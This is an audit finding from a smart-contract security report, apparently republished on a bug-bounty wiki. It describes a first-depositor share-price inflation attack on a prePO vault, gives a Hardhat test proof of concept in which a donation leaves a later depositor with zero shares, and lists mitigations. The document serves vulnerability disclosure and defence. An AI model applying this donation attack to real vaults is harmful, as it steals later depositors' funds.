First depositor can break minting of shares
The first depositor can inflate the share price by making a large donation to the strategy controller, causing subsequent depositors to receive zero shares for their deposits. This allows the attacker to steal the deposits of later users.
Submitted by GreyArt, also found by 0xDjango, CertoraInc, cmichel, rayn, TomFrenchBlockchain, and WatchPug
The attack vector and impact is the same as TOB-YEARN-003, where users may not receive shares in exchange for their deposits if the total asset amount has been manipulated through a large “donation”.
Proof of Concept
- Attacker deposits 2 wei (so that it is greater than min fee) to mint 1 share
- Attacker transfers exorbitant amount to
_strategyControllerto greatly inflate the share’s price. Note that the_strategyControllerdeposits its entire balance to the strategy when itsdeposit()function is called. - Subsequent depositors instead have to deposit an equivalent sum to avoid minting 0 shares. Otherwise, their deposits accrue to the attacker who holds the only share.
it("will cause 0 share issuance", async () => {
// 1. first user deposits 2 wei because 1 wei will be deducted for fee
let firstDepositAmount = ethers.BigNumber.from(2)
await transferAndApproveForDeposit(
user,
collateral.address,
firstDepositAmount
)
await collateral
.connect(user)
.deposit(firstDepositAmount)
// 2. do huge transfer of 1M to strategy to controller
// to greatly inflate share price
await baseToken.transfer(strategyController.address, ethers.utils.parseEther("1000000"));
// 3. deployer tries to deposit reasonable amount of 10_000
let subsequentDepositAmount = ethers.utils.parseEther("10000");
await transferAndApproveForDeposit(
deployer,
collateral.address,
subsequentDepositAmount
)
await collateral
.connect(deployer)
.deposit(subsequentDepositAmount)
// receives 0 shares in return
expect(await collateral.balanceOf(deployer.address)).to.be.eq(0)
});
Recommended Mitigation Steps
- Uniswap V2 solved this problem by sending the first 1000 LP tokens to the zero address. The same can be done in this case i.e. when
totalSupply() == 0, send the first min liquidity LP tokens to the zero address to enable share dilution. - Ensure the number of shares to be minted is non-zero:
require(_shares != 0, "zero shares minted"); - Create a periphery contract that contains a wrapper function that atomically calls
initialize()anddeposit() - Call
deposit()once ininitialize()to achieve the same effect as the suggestion above.
ramenforbreakfast (prePO) confirmed and commented:
Valid submission, good explanation of the problem and nice to see it being demonstrated via a test case block.
Agree with sponsor.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the share minting calculation rounds down to zero when the share price is inflated, and there is no check to prevent zero-share minting.
Impact
Subsequent depositors could lose their deposits as they receive zero shares, and the attacker gains the deposited funds.
What the attacker needed
Attacker is the first depositor; Attacker can transfer tokens to strategy controller
The fix
The fix should include sending the first minimum liquidity shares to the zero address when total supply is zero, requiring that minted shares are non-zero, and optionally using a periphery contract to atomically initialize and deposit.
How it was found
- Attacker deposits 2 wei to mint 1 share.
- Attacker transfers a large amount to the strategy controller to inflate the share price.
- Subsequent depositor deposits a reasonable amount but receives 0 shares.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In a vault, users deposit tokens and get shares representing their portion. If the first user makes the share price very high by donating a lot, later users' deposits are worth less than one share, so they get nothing. The attacker then owns all shares and can take the later deposits.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.